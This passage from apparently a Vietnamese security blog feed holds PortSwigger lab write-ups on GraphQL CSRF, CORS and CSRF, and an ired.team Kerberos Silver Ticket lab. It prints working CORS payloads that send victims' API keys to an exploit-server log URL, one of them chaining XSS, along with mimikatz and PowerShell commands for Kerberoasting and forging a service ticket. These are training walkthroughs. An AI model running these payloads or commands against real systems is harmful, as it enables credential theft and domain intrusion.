họ đến server.\nTrình duyệt chỉ tự động gửi form với một số loại content-type mặc định:\napplication/x-www-form-urlencoded\nmultipart/form-data\ntext/plain Đây là các loại mà HTML form hỗ trợ trực tiếp.\nGraphQL endpoint mặc định thường nhận JSON (application/json):\nNếu request yêu cầu application/json, thì attacker không thể tạo một form HTML đơn giản để gửi dữ liệu, vì form không hỗ trợ gửi JSON.\nMuốn gửi JSON thì phải dùng JavaScript (fetch, XMLHttpRequest), nhưng khi đó lại bị chặn bởi Same-Origin Policy (SOP), nên không thể thực hiện CSRF.\nKhi server chấp nhận application/x-www-form-urlencoded:\nAttacker có thể tạo một form HTML bình thường với method=\u0026ldquo;POST\u0026rdquo; và enctype=\u0026ldquo;application/x-www-form-urlencoded\u0026rdquo;.\nTrình duyệt sẽ tự động gửi request kèm cookie của nạn nhân.\nNhư vậy, attacker có thể ép nạn nhân thực hiện hành động (ví dụ: đổi email) mà không cần vượt qua SOP.\nCòn kịch bản ở đây là sẽ cố gắng lợi dụng CSRF và graphql để thực hiện graphql query nhằm thay đổi được email của victim mà mình gửi payload tới.\nSau khi mình gửi request thay đổi content-type thì nó trả về dòng \u0026quot;Query not present\u0026quot; nó là bình thường tại ở đây là đổi sang Content-Type: application/x-www-form-urlencoded, server không còn nhận dữ liệu ở dạng JSON nữa. Nhưng với x-www-form-urlencoded, dữ liệu phải được encode theo dạng form.\nTại đây sau khi sửa và thêm url encoded thì ta đã thành công trong việc gửi đi được query đúng chuẩn bây giờ kịch bản tấn công sẽ lợi dụng việc query này ta sẽ tạo payload CSRF sau đó gửi tới victim khi mà click vào thì nó sẽ thực hiện html nhằm thay đổi được email của victim.\nTại đây mình sẽ dùng chức năng gen ra CSRF POC luôn cho nhanh để thực hiện gửi exploit tới exploit server hay là victim mà ta vừa nhắc tới à nhớ đổi email nữa.\nThành công exploit lab này khai thác được CSRF từ graphql và cũng kết thúc chuỗi lỗ hổng GraphQL.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-25-graphql-api-vulnerability/","summary":"\u003ch1 id=\"graphql-api-vulnerability-portswigger-challenge\"\u003eGraphQL API Vulnerability PortSwigger Challenge\u003c/h1\u003e\n\u003ch3 id=\"overview-về-graphql\"\u003eOverview về GraphQL\u003c/h3\u003e\n\u003cp\u003eGraphQL là một ngôn ngữ truy vấn cho API (Query Language for APIs) và cũng là một môi trường thực thi phía máy chủ (server-side runtime) để thực hiện các truy vấn đó.\u003c/p\u003e\n\u003cp\u003eĐể dễ hiểu hãy hình dung như sau:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eVới \u003ccode\u003eAPI truyền thống\u003c/code\u003e (như REST API): Bạn phải gọi nhiều \u003ccode\u003e\u0026quot;endpoint\u0026quot;\u003c/code\u003e(đường dẫn) khác nhau để lấy các loại dữ liệu khác nhau.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eVí dụ: để lấy thông tin người dùng và các bài viết của họ, bạn có thể phải gọi /users/1 để lấy thông tin người dùng, sau đó gọi \u003ccode\u003e/users/1/posts\u003c/code\u003e để lấy danh sách bài viết. Bạn thường nhận về toàn bộ dữ liệu mà endpoint đó cung cấp, dù bạn có cần hết hay không.\u003c/p\u003e","title":"GraphQL API Vulnerability"},{"content":"PortSwigger CORS (Cross-Origin Resource Sharing) challenge WriteUp Overview về CORS CORS là gì? Vì sao lại xuất hiện CORS (Cross-Origin Resource Sharing) là một cơ chế bảo mật trong web cho phép các tài nguyên trên một máy chủ được chia sẻ với các trang web có nguồn (origin) khác. \u0026ldquo;Nguồn\u0026rdquo; ở đây được định nghĩa bởi ba yếu tố: giao thức (http, https), tên miền (domain), và cổng (port).\nTheo mặc định, các trình duyệt web tuân thủ Chính sách Cùng Nguồn Gốc (Same-Origin Policy - SOP). Chính sách này là một biện pháp bảo mật nền tảng, ngăn chặn một trang web từ nguồn A đọc dữ liệu từ một trang web ở nguồn B. Ví dụ, một script chạy trên https://your-bank.com không thể tự ý gửi yêu cầu đến https://evil-website.com và đọc phản hồi.\nTuy nhiên, trong các ứng dụng web hiện đại, việc gọi API từ một tên miền khác, nhúng phông chữ, hoặc tải tài nguyên từ các mạng phân phối nội dung (CDN) là rất phổ biến. CORS ra đời để nới lỏng chính sách SOP một cách có kiểm soát, cho phép chia sẻ tài nguyên giữa các nguồn khác nhau một cách an toàn.\nCơ chế hoạt động của CORS Cơ chế CORS hoạt động dựa trên việc trao đổi các HTTP header giữa trình duyệt và máy chủ:\nKhi một trang web (ví dụ https://client.com) muốn yêu cầu một tài nguyên từ một nguồn khác (ví dụ https://api.server.com/data), trình duyệt sẽ tự động thêm một HTTP header vào yêu cầu: Origin: https://client.com. Máy chủ api.server.com nhận được yêu cầu, nó sẽ kiểm tra giá trị của header Origin. Nếu máy chủ cho phép nguồn này truy cập, nó sẽ trả về một phản hồi kèm theo header Access-Control-Allow-Origin. Giá trị của header này có thể là nguồn đã yêu cầu (https://client.com) hoặc một dấu sao (*) để cho phép tất cả các nguồn. Trình duyệt nhận được phản hồi, kiểm tra header Access-Control-Allow-Origin. Nếu nguồn được cho phép, trình duyệt sẽ cho phép mã JavaScript của trang web đọc dữ liệu phản hồi. Ngược lại, nếu header này thiếu hoặc không khớp, trình duyệt sẽ chặn yêu cầu và báo lỗi CORS. Có hai loại yêu cầu CORS chính: Yêu cầu đơn giản (Simple Request): Áp dụng cho các yêu cầu sử dụng phương thức GET, HEAD, POST và chỉ chứa các header đơn giản. Trình duyệt gửi thẳng yêu cầu và kiểm tra CORS ở phản hồi. Yêu cầu \u0026ldquo;phức tạp\u0026rdquo; (Preflight Request): Đối với các yêu cầu \u0026ldquo;phức tạp\u0026rdquo; hơn (ví dụ: sử dụng phương thức PUT, DELETE hoặc có các custom header), trình duyệt sẽ gửi trước một yêu cầu OPTIONS (gọi là \u0026ldquo;preflight request\u0026rdquo;) để \u0026ldquo;hỏi\u0026rdquo; máy chủ xem yêu cầu chính thức có được phép hay không. Nếu máy chủ đồng ý, trình duyệt mới gửi yêu cầu thực sự. Các lỗ hổng bảo mật CORS phổ biến Lỗ hổng CORS xảy ra khi máy chủ được cấu hình sai, cho phép các nguồn không đáng tin cậy truy cập vào các tài nguyên nhạy cảm.\nCấu hình Access-Control-Allow-Origin quá rộng rãi đây là lỗi phổ biến và nguy hiểm nhất: Access-Control-Allow-Origin: *: Cấu hình này cho phép bất kỳ trang web nào trên Internet gửi yêu cầu và đọc phản hồi từ máy chủ của bạn. Nếu tài nguyên trả về chứa thông tin nhạy cảm (như thông tin cá nhân người dùng, token API), kẻ tấn công có thể tạo một trang web độc hại để đánh cắp dữ liệu này. Phản chiếu động giá trị Origin: Một số nhà phát triển cấu hình máy chủ để đọc header Origin từ yêu cầu và phản chiếu lại giá trị đó trong Access-Control-Allow-Origin mà không kiểm tra. Điều này về cơ bản tương đương với việc dùng *, cho phép mọi nguồn truy cập. Cấu hình sai Whitelist Đôi khi, logic kiểm tra danh sách các nguồn được phép có thể bị lỗi. Ví dụ, một trang web chỉ kiểm tra xem tên miền có kết thúc bằng trusted-site.com hay không. Kẻ tấn công có thể đăng ký một tên miền như malicious-trusted-site.com để vượt qua bộ lọc. Lạm dụng Access-Control-Allow-Credentials: true Khi một yêu cầu cần gửi kèm thông tin xác thực (như cookie hoặc header Authorization), header Access-Control-Allow-Credentials phải được đặt là true. Nếu cấu hình này được kết hợp với một Access-Control-Allow-Origin quá rộng rãi, nó sẽ tạo ra một lỗ hổng nghiêm trọng, cho phép kẻ tấn công thực hiện các yêu cầu đã được xác thực thay mặt người dùng và đánh cắp dữ liệu nhạy cảm. Lỗ hổng từ Origin: null Một số tình huống, chẳng hạn như khi mở một tệp HTML cục bộ, có thể tạo ra yêu cầu với Origin: null. Nếu máy chủ cho phép nguồn null này, nó có thể vô tình cho phép các tệp độc hại trên máy người dùng truy cập tài nguyên. Đi vào phân tích và giải từng lab Lab: CORS vulnerability with basic origin reflection This website has an insecure CORS configuration in that it trusts all origins. To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator\u0026#39;s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator\u0026#39;s API key. You can log in to your own account using the following credentials: wiener:peter Lab này bảo ta lấy API key của admin bằng code JS để exploit ở đây ta được cấp sẵn acc thường đó là wiener:peter bây giờ mình sẽ đăng nhập vào xem thử có những gì bên trong web này.\nỞ đây sau khi đăng nhập ta sẽ được cấp một cái API key, ở đây là key của user wiener.\nTại đây sau khi đăng nhập ta để ý rằng có một request GET thông tin chi tiết của account đăng nhập, response trả về cho ta đúng với GUI nhưng ở đây ta để ý ở trường Access-Control-Allow-Credentials: true ở response và trường Sec-Fetch-Site: same-origin ở request ở đây trong trường hợp này, một số application thường mở thêm access cho một số domain khác và nếu config và kiểm soát không đúng cách thì sẽ dính lỗi.\nỞ đây mình sẽ thêm một trường nữa là Origin xem thử nó có reflect cái domain trở về trong response không để khẳng định.\nVà kết quả như dự tính thì nó đã reflected cái domain trở về vì nó config lỗi như vậy nên kết quả là domain nào cũng đều có thể truy cập vào tài nguyên của con web app bị lỗi.\nBây giờ ta sẽ tạo code JS để exploit cái lỗi này.\n\u0026lt;script\u0026gt; var req = new XMLHttpRequest(); req.onload = reqListener; req.open(\u0026#39;get\u0026#39;,\u0026#39;https://0a310000045184f0817316af00340031.web-security-academy.net/accountDetails\u0026#39;,true); req.withCredentials = true; req.send(); function reqListener() { location=\u0026#39;/log?key=\u0026#39;+this.responseText; }; \u0026lt;/script\u0026gt; Các thành phần chính:\nTạo XMLHttpRequest var req = new XMLHttpRequest(); Đây là đối tượng dùng để gửi request HTTP từ trình duyệt.\nMở request đến domain khác. req.open(\u0026#39;get\u0026#39;,\u0026#39;https://0a310000045184f0817316af00340031.web-security-academy.net/accountDetails\u0026#39;,true); Script gửi request GET đến endpoint /accountDetails của một website khác (ở đây là lab vulnerable). Gửi kèm cookie phiên của nạn nhân req.withCredentials = true; Thuộc tính này buộc trình duyệt gửi cookie/session của người dùng hiện tại cùng với request cross-origin.\nSau khi đẩy exploit code lên thì ta sẽ truy cập vào server log để xem những request.\nTa thấy nó trả về một GET request với nội dung cùa đường dẫn /accountDetails bây giờ vì nó được URL encode nên ta chỉ cần decode nó ra để đọc được nội dung bên trong.\nThành công lấy được API key của admin rồi thành công solve.\nLab: CORS vulnerability with trusted null origin This website has an insecure CORS configuration in that it trusts the \u0026#34;null\u0026#34; origin. To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator\u0026#39;s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator\u0026#39;s API key. You can log in to your own account using the following credentials: wiener:peter Với lab thứ 2 thì mọi thứ nhìn sẽ tương tự như bài lab đầu tiên nên ta đi thằng vào request /accountDetails luôn.\nRequest nó cũng giống như lab trước và ở response vẫn có trường Access-Control-Allow-Credentials: true nên liệu nếu ta để vào một cái origin bừa nó có nhận không nhỉ.\nỞ đây ta gửi thêm 1 cái origin mình thêm là adudu.com thì có thể thấy ở phần response rằng cái origin nó không được reflect lại có vẻ như nó đã whitelist lại vậy nên ta sẽ thử với giá trị null xem sao.\nTa có thể thấy với giá trị null thì nó trả cho ta trường Access-Control-Allow-Origin: null vậy là nó cho phép truy cập tài nguyên với giá trị của origin là null có nghĩa là server sẽ tin tưởng tất cả các request nào có Origin: null.\nVậy bây giờ ta có kịch bản tạo payload là:\nAttacker tạo một trang chứa iframe sandbox hoặc data: URI.\nTrình duyệt gửi request đến server với Origin: null.\nServer phản hồi với Access-Control-Allow-Origin: null và Access-Control-Allow-Credentials: true.\nTrình duyệt cho phép script của attacker đọc dữ liệu nhạy cảm từ response.\nDữ liệu bị rò rỉ sang domain của attacker.\n\u0026lt;iframe sandbox=\u0026#34;allow-scripts allow-top-navigation allow-forms\u0026#34; srcdoc=\u0026#34;\u0026lt;script\u0026gt; var req = new XMLHttpRequest(); req.onload = reqListener; req.open(\u0026#39;get\u0026#39;,\u0026#39;https://0a8900670307b3d881b9fc1800bc00b3.web-security-academy.net/accountDetails\u0026#39;,true); req.withCredentials = true; req.send(); function reqListener() { location=\u0026#39;https://exploit-0a6300b80320b356810dfbb301050042.exploit-server.net//log?key=\u0026#39;+encodeURIComponent(this.responseText); }; \u0026lt;/script\u0026gt;\u0026#34;\u0026gt;\u0026lt;/iframe\u0026gt; Đây là payload để khai thác lab trên bây giờ ném nó vào exploit server và gửi đến cho victim.\nTruy cập vào access log ta thấy rằng victim đã click vào đường dẫn payload và nó trả về kết quả cho ta bây giờ URL decode nó ra.\nThành công decode và lấy được admin API key.\nLab: CORS vulnerability with trusted insecure protocols This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol. To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator\u0026#39;s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator\u0026#39;s API key. You can log in to your own account using the following credentials: wiener:peter Ở đây ta vẫn có chức năng tương tự như 2 lab ở phía trước bây giờ đi sâu vào request mà ta khai thác từ nãy đến giờ.\nỞ request này ta để ý rằng vẫn còn trường Access-Control-Allow-Credentials: true thì nó vẫn sẽ còn CORS. Nghĩa là server cho phép chia sẻ cookie/phiên đăng nhập qua CORS. Bây giờ tiếp tục xem request.\nVới origin là null giống bài trước thì ta có thể thấy rằng nó không reflect về chứng tỏ nó không cho phép truy cập bây giờ ta sẽ thử với domain khác.\nỞ đây tôi thử với subdomain tự chế từ domain chính thì nó lập tức reflect lại có nghĩa rằng bất kỳ subdomain nào (HTTP hoặc HTTPS) đều được phép truy cập.\nTiếp đó ta để ý rằng chức năng checkstock nó load bằng HTTP URL trên subdomain đó là stock.0a0d00a3044b5d6780f503660034001a.web-security-academy.net bên cạnh đó giá trị của productId còn bị dính XSS.\nNó đã trả alert về nên nhờ 2 chỗ này ta hoàn toàn có thể lợi dụng để tấn công vào bây giờ ta có kịch bản cho thấy rằng server đã “allow” tất cả subdomain (cùng domain gốc), nên attacker lợi dụng một subdomain HTTP + XSS để vượt qua SOP (Same-Origin Policy) và đánh cắp dữ liệu. Bây giờ ta sẽ tạo script.\n\u0026lt;script\u0026gt; document.location=\u0026#34;http://stock.0a0d00a3044b5d6780f503660034001a.web-security-academy.net/?productId=4\u0026lt;script\u0026gt;var req = new XMLHttpRequest(); req.onload = reqListener; req.open(\u0026#39;get\u0026#39;,\u0026#39;https://0a0d00a3044b5d6780f503660034001a.web-security-academy.net/accountDetails\u0026#39;,true); req.withCredentials = true;req.send();function reqListener() {location=\u0026#39;https://exploit-0ad0005104f65d73807a02e80194003a.exploit-server.net/log?key=\u0026#39;%2bthis.responseText; };%3c/script\u0026gt;\u0026amp;storeId=1\u0026#34; \u0026lt;/script\u0026gt; Thành công bắt được log sau khi victim click vào bây giờ decode ra thôi.\nLấy được API key của Administrator submit là solve.\nSolve thành công và đây cũng là lab cuối cùng của chuỗi CORS.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-16-cors-portswigger/","summary":"\u003ch1 id=\"portswigger-cors-cross-origin-resource-sharing-challenge-writeup\"\u003ePortSwigger CORS (Cross-Origin Resource Sharing) challenge WriteUp\u003c/h1\u003e\n\u003ch3 id=\"overview-về-cors\"\u003eOverview về CORS\u003c/h3\u003e\n\u003ch4 id=\"cors-là-gì-vì-sao-lại-xuất-hiện\"\u003eCORS là gì? Vì sao lại xuất hiện\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eCORS (Cross-Origin Resource Sharing) là một cơ chế bảo mật trong web cho phép các tài nguyên trên một máy chủ được chia sẻ với các trang web có nguồn (origin) khác. \u0026ldquo;Nguồn\u0026rdquo; ở đây được định nghĩa bởi ba yếu tố: giao thức (http, https), tên miền (domain), và cổng (port).\u003c/p\u003e","title":"PortSwigger CORS (Cross-Origin Resource Sharing) challenge WriteUp"},{"content":"Ired.Team Kerberos Silver Ticket Tiếp tục chuỗi series AD abuse thì tiếp theo ta tiến tới Kerberos Silver Ticket có nghĩa là ta sẽ hack quyền từ Kerberos nhưng không phải tạo golden ticket để truy cập mọi tài nguyên trong DC mà ở đây ta chỉ tạo Silver Ticket có quyền truy cập một số tài nguyên nhất định vì đôi khi ta cũng không cần phải full quyền để làm gì nhiều lúc sẽ dễ bị phát hiện nên ta chỉ cần lấy một vài tài nguyên, chính điều đó thì Silver Ticket ra đời.\nExecution Bước 1: Chuẩn bị môi trường Một domain controller (Ở đây tôi có: dc-mantvydas.offense.local) Một máy client tham gia domain (Ở đây mình dùng DC-RED) Quyền admin trên domain để tạo tài khoản dịch vụ (hoặc ít nhất có quyền tạo user) Bước 2: Tạo user/service account có password yếu Đầu tiên ta sẽ dùng lệnh PowerShell ở trên máy DC để tạo ra http service có password yếu.\n# Tạo user mới - dùng làm service account New-ADUser -Name \u0026#34;svc_http\u0026#34; -SamAccountName \u0026#34;svc_http\u0026#34; -AccountPassword (ConvertTo-SecureString \u0026#34;Passw0rd\u0026#34; -AsPlainText -Force) -Enabled $true # Gán quyền SPN cho user này (để nó trở thành service account) Set-ADUser -Identity \u0026#34;svc_http\u0026#34; -ServicePrincipalNames @{Add=\u0026#34;HTTP/dc-mantvydas.offense.local\u0026#34;} Bước 3: Xác minh SPN đã được gán Sau đó tiếp tục ta sẽ sử dụng các lệnh sau để xác mình rằng đã có SPN được gán vào.\nsetspn -S HTTP/dc-mantvydas.offense.local svc_http Get-ADUser svc_http -Properties Enabled, PasswordNeverExpires, ServicePrincipalNames Okay kết quả trả về khả quan rồi.\nBước 4: Thực hiện Kerberoasting từ máy tấn công Bây giờ mình sẽ truy cập máy windows attacker của mình đó là DC-RED để khai thác.\nỞ đây mình dùng 2 lệnh đó là :\nAdd-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList \u0026#34;HTTP/dc-mantvydas.offense.local\u0026#34; 2 lệnh trên có mục đích là lấy TGS Ticket hay còn gọi đó là bước kerberoasting ở đây sau khi thực thi thì hệ thống sẽ lưu ticket vào cache của Kerberos sau đó ta sẽ phải lấy thêm NTLM hash, ở đây mình set password cho service là Passw0rd nên bỏ qua bước đó lấy thẳng NTLM hash của nó là a87f3a337d73085c45f9416be5787d86.\nBước 5: Tạo Silver Ticket với Mimikatz Ở đây ta thực hiện đoạn lệnh là :\nwhoami /user Với mục đích đó là lấy được Domain SID của user hiện tại.\nTa sẽ note cái SID này vào để còn dùng trong mimikatz S-1-5-21-1522518357-539094533-3136975768-1000\nSau đó ta tiến hành chạy mimikat ở đây mình sẽ spawn một cmd từ tool có tên là PsExec để chạy cmd với quyền cao nhất.\nSau đó ở trong mimikatz ta sẽ chạy lệnh sau :\nkerberos::golden /sid:S-1-5-21-1522518357-539094533-3136975768 /domain:offense.local /ptt /id:1000 /target:dc-mantvydas.offense.local /service:http /rc4:a87f3a337d73085c45f9416be5787d86 /user:benignadmin Lệnh này sử dụng tự động tạo ticket và inject nó vào ở đây ta dùng những thứ mà ta đã tìm được lúc nãy bao gồm Domain SID , NTLM hash và ở đây user được gán Silver Ticket mình để tên là benignadmin.\nThành công chạy lệnh nó trả về cho ta kết quả đó là Pass The Ticket là kết quả đã được, bây giờ để xác nhận rằng Ticket đã được inject ta sẽ exit mimikatz sau đó chạy lệnh klist để confirm.\nChuẩn bài rồi ta thấy tên client đã đúng là benignadmin @ offense.local bây giờ ta tới với bước thực hiện vài lệnh khai thác service.\nBước 6: Khai thác - Truy cập Service Ta tiến hành gửi HTTP request dùng ticket với lệnh :\nInvoke-WebRequest -UseBasicParsing -UseDefaultCredentials http://dc-mantvydas.offense.local Phân tích kết quả :\nStatusCode: 200 → HTTP request thành công. Nội dung trả về là trang mặc định của IIS → chứng tỏ service HTTP đang chạy. Vì mình dùng -UseDefaultCredentials, hệ thống đã tự động đính kèm Kerberos ticket inject trước đó (Silver Ticket cho benignadmin) vào request. IIS trên dc-mantvydas.offense.local chấp nhận ticket → xác thực thành công dù benignadmin không tồn tại thực sự trong Active Directory. Sau đó check ở Event Viewer của DC thì thấy được request Logon của user fake mà mình tạo vậy là hoàn thành lab Kerberos Silver Ticket.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-11-15-i.redteam-kerberos-silver-ticket/","summary":"\u003ch1 id=\"iredteam-kerberos-silver-ticket\"\u003eIred.Team Kerberos Silver Ticket\u003c/h1\u003e\n\u003cp\u003eTiếp tục chuỗi series \u003ccode\u003eAD abuse\u003c/code\u003e thì tiếp theo ta tiến tới \u003ccode\u003eKerberos Silver Ticket\u003c/code\u003e có nghĩa là ta sẽ hack quyền từ Kerberos nhưng không phải tạo \u003ccode\u003egolden ticket\u003c/code\u003e để truy cập mọi tài nguyên trong DC mà ở đây ta chỉ tạo \u003ccode\u003eSilver Ticket\u003c/code\u003e có quyền truy cập một số tài nguyên nhất định vì đôi khi ta cũng không cần phải full quyền để làm gì nhiều lúc sẽ dễ bị phát hiện nên ta chỉ cần lấy một vài tài nguyên, chính điều đó thì Silver Ticket ra đời.\u003c/p\u003e","title":"Ired.Team Kerberos Silver Ticket Execution"},{"content":"PortSwigger CSRF Challenge WriteUp Giới thiệu về CSRF (Cross-Site Request Forgery) Lỗ hổng CSRF là gì : Cross-Site Request Forgery hay còn gọi theo tiếng việt là giả mạo yêu cầu trên nhiều trang, là một lỗ hổng bảo mật cho phép attacker lừa người dùng đã được xác thực (đã đăng nhập) thực hiện các hành động không mong muốn trên 1 ứng dụng Web. Nói đơn giản thì attacker sẽ mượn danh tính và session của một victim để gửi đi một yêu cầu giả mạo đến ứng dụng mà victim không hề hay biết. Nếu ứng dụng dễ bị tấn công, nó sẽ không thể phân biệt được đâu là yêu cầu giả mạo đâu là yêu cầu hợp lệ của victim (User). CSRF hoạt động như thế nào : Để thực hiện tấn công CSRF cần có 3 điều kiện bao gồm : Hành động quan trọng : Ứng dụng phải có một function (hành động, action) mà attacker muốn thực hiện ví dụ như là đổi mật khẩu, đổi username, đổi email, chuyển tiền,…. Nói chung nó có lợi có attacker là tương hết hay còn gọi là attack surface ngon, nhiều. Xử lý request dựa trên cookie, session : Application phải chỉ dựa vào cookie của trình duyệt để xác định người dùng đang gửi yêu cầu. Không có cơ chế nào xác minh request. Không có tham số không thể đoán trước : Các tham số trong yêu cầu thực hiện hành động phải là những giá trị mà attacker có thể đoán trược hoặc là biết trước. Tại sao lỗ hổng này tồn tại : Lỗ hổng CSRF tồn tại do sự tin tưởng của ứng dụng web vào các cookie mà trình duyệt tự động gửi kèm theo mỗi yêu cầu. Ứng dụng chỉ kiểm tra \u0026ldquo;ai\u0026rdquo; đang gửi yêu cầu (dựa trên cookie session) mà không kiểm tra \u0026ldquo;ý định\u0026rdquo; của người dùng có thực sự muốn thực hiện hành động đó hay không. Challenge WriteUp Lab: CSRF vulnerability with no defenses This lab\u0026#39;s email change functionality is vulnerable to CSRF. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer\u0026#39;s email address and upload it to your exploit server. You can log in to your own account using the following credentials: wiener:peter Đăng nhập với user được cấp sẵn ở đây ta thấy nó có một chức năng đó là update email mà dựa theo description của lab thì nó muốn ta đổi email của người đọc bài ở đây ta sẽ lợi dụng chức năng update này để làm thử.\nHmm thành công tương tác và thay đổi được email address. Taị đây ta có thể tự viết payload CSRF hoặc có thể tận dụng chức năng tạo payload có sẵn của burp pro ở đây mình sẽ dùng thử chức năng generate CSRF POC.\nThành công tạo ra payload html bây giờ ta sẽ sửa một tí ở trường value vì email này mình đã tạo trước nên có sẵn sợ nó không exploit được ta đổi sang 1 email mới.\nSau đó paste vào exploit server được cấp sẵn của lab và tiến hành store sau đó gửi đi cho victim và thành công với lab đầu tiên.\nLab: CSRF where token validation depends on request method This lab\u0026#39;s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer\u0026#39;s email address. You can log in to your own account using the following credentials: wiener:peter Vẫn là chức năng update email như cũ những lần này nó có thêm 1 cái param đó là csrf nhưng có vẻ nó không thay đổi nhiều bây giờ ta thử cách ta đã làm ở lab đầu tiên xem như thế nào.\nThử với exploit cũ xem có thành công không, sau một lúc store với delivery đến victim ta thấy rằng exploit server chả trả cái gì về nên có vẻ exploit cũ không còn hiệu quả ở đây.\nTa tiến hành thử thay đổi giá trị trường csrf một chút xem thử kết quả nó sẽ như nào.\nOkay khi thay đổi csrf là bị ăn chửi liền hmm vậy nếu trong trường hợp này ta thay đổi HEADER thì liệu cái trường csrf còn hiệu quả không ta? Test thôi.\nÔ có vẻ như khi thay đổi header thì csrf không còn được áp dụng nữa ở đây với header là GET ta đã không còn bị ăn chửi nữa vậy đây là attack surface cho ta rồi bây giờ tiến hành generate csrf POC thôi.\nThay đổi một chút ở email thành email khác tránh lỗi.\nStore và gửi cho nạn nhân và thành công solve lab này.\nLab: CSRF where token validation depends on token being present This lab\u0026#39;s email change functionality is vulnerable to CSRF. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer\u0026#39;s email address. You can log in to your own account using the following credentials: wiener:peter Đến với lab 3 thì vẫn là chức năng update email như cũ bây giờ ta tiếp tục bắt request để test từng case một thôi.\nVẫn là request ấy bây giờ thử đổi header như ở lab trước xem thử có còn work không.\nXong ăn chửi rồi có vẻ như dev đã fix lại bây giờ tìm thử cách khác xem sao. Dựa vào đề lab thì nó kêu dựa theo token vậy ta thử thay đổi token csrf xem thử sao.\nWell vẫn bị ăn chửi, bây giờ ta sẽ thử xoá luôn cái trường csrf xem thử nó nói như nào.\nNgon rồi sau khi xoá đi trường csrf thì server trả về 302, có vẻ như anh dev quên sửa lại phải bắt buộc có trường csrf trên mỗi request nên với trường hợp này tuy xoá đi trường csrf token thì ta vẫn có thể thực hiện chức năng như bình thường bây giờ thì lặp lại bước tạo csrf POC như cũ thôi.\nQuăng cái exploit code vào bên exploit server.\nStore và gửi cho nạn nhân và ta thành công solve lab thứ 3.\nLab: CSRF where token is not tied to user session This lab\u0026#39;s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren\u0026#39;t integrated into the site\u0026#39;s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer\u0026#39;s email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows: wiener:peter carlos:montoya Đến với lab này nó cấp cho ta 2 accounts chưa biết để làm gì thôi thì ta tiến hành tạo 2 tabs để truy cập 2 acc cho nhanh.\nỞ đây thì ta vẫn có chức năng đó là update email như cũ không thay đổi bây giờ ta thử bắt request xem có gì xảy ra.\nSau khi có request mình có thử thay đổi csrf token xem có gì không nhưng kết quả vẫn là ăn chửi bây giờ thử xoá như ở lab trước xem có hiệu quả ở đây không.\nOkay có vẻ như anh Dev đã fix đoạn này lại nếu thiếu đi csrf token thì sẽ không thực hiện bất kì chức năng nào, bây giờ ta sẽ check thử luồng xử lý của request nó xảy ra như thế nào.\nỞ đây ta để ý rằng mỗi lần ta tạo một request là nó sẽ khởi tạo một CSRF token khác và tự gán value vào trong đó hmm vậy nếu ta lợi dụng Token của account khác để gắn cho account kia thì sẽ như nào.\nỞ đây ta tiến hành tạo một request thay đổi email của user carlos, sau đó ta cũng sẽ tiến hành đổi ở bên user wiener bằng csrf token vừa mới tạo của carlos. Ở đây ta làm từng bước 1 tránh lỗi.\nĐăng nhập user wiener sau đó note lại CSRF token đã được tạo. Sau đó tạo một tab ẩn danh và tiến hành đăng nhập user carlos sau đó tiến hành thử request update email từ user carlos.\nSau khi request phát nữa ta thấy rằng csrf của carlos đã hết hiệu lực bây giờ ta thử đổi sang token mà ta đã note của user wiener.\nNgon đét luôn server trả về 302 là thực thi thành công rồi vậy là ta đã thành công lợi dụng token của user wiener để thay đổi email của user carlos bây giờ ta sẽ tiến hành repeat lại request của wiener để lấy token mới để tạo payload.\nCó token bây giờ ở request đổi email của user carlos ta lặp lại bước generate csrf POC như mấy lab trước.\nĐây là payload hoàn chỉnh sau khi tạo và sửa email cùng với đó là nhét token mới bây giờ ném nó lên exploit server thôi.\nVậy là hoàn thành lab này ở lab này đã cho ta biết được cách lợi dụng token của người khác để tấn công.\nLab: CSRF where token is tied to non-session cookie This lab\u0026#39;s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren\u0026#39;t fully integrated into the site\u0026#39;s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer\u0026#39;s email address. You have two accounts on the application that you can use to help design your attack. The credentials are as follows: wiener:peter carlos:montoya Vẫn như cũ nó cấp cho ta 2 tài khoản bây giờ vẫn như bài trước ta sẽ đăng nhập wiener trước rồi đăng nhập carlos ở tab ẩn danh sau.\nTa vẫn thử lấy CSRF token của wiener như bài trước xem thử cách lab trước có hoạt động nữa không.\nSau khi đăng nhập carlos tôi để ý ở đây còn có trường csrfKey nên có vẻ cách cũ không còn khả thi nữa và tương tự ở user wiener cũng có csrfKey ồh vậy có 2 key ta có thể thử inject cả 2 vào xem kết quả.\nLấy 2 key này ta thử inject vào request change email của carlos xem có trả về 302 không.\nRequest trả về 302 có vẻ như ngon lành rồi giờ ta sẽ tìm nơi có thể bỏ payload vào.\nTôi để ý rằng ở đây có một thanh chức năng để search các blog và có vẻ như nó không có lớp filter nào\nOk chuẩn rồi chức năng search khá là bình thường và không có filter bây giờ ta sẽ thử inject vào ngay query search?.\nỞ đây tại session của user wiener ta thử inject vào csrfKey của user carlos ta để ý rằng cookie đã được inject thành công và làm thay đổi key vốn có của nó. Sau đó ta sẽ dùng chức năng generate csrf POC và inject thêm đoạn url lúc thực hiện search.\n\u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt;history.pushState(\u0026#39;\u0026#39;, \u0026#39;\u0026#39;, 